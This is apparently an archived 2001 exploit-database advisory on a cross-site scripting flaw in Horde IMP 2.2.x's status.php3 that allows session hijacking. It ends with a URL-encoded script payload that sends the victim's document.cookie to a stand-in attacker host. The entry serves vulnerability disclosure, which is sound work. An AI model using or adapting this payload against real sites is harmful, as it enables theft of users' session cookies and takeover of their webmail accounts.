Horde IMP 2.2.x - Session Hijacking

EDB-ID:

21151


Platform:

Linux

Published:

2001-11-09

source: http://www.securityfocus.com/bid/3525/info

IMP is a powerful web-based mail interface/client developed by members of the Horde project.

Encoded HTML tags are not stripped from requests to access 'status.php3'. It is possible for a remote attacker to construct a link which when clicked will cause arbitrary script code to be executed in the browser of an unsuspecting user in the context of a site running Horde IMP.

As a result, it has been proven that this issue can be exploited to steal a legitimate user's cookie-based authentication credentials and gain unauthorized access to that user's webmail account. 

http://myimp.site.com/status.php3?message=%3Cscript%20language%3Djavascript
%3E%20document.write(%27%3Cimg%20src%3Dhttp%3A%2F%2Fattackerhost.co
m%2Fcookie.cgi%3Fcookie%3D%27%20%2B%20escape(document.cookie)%2B%
20%27%3E%27)%3B%3C%2Fscript%3E%0A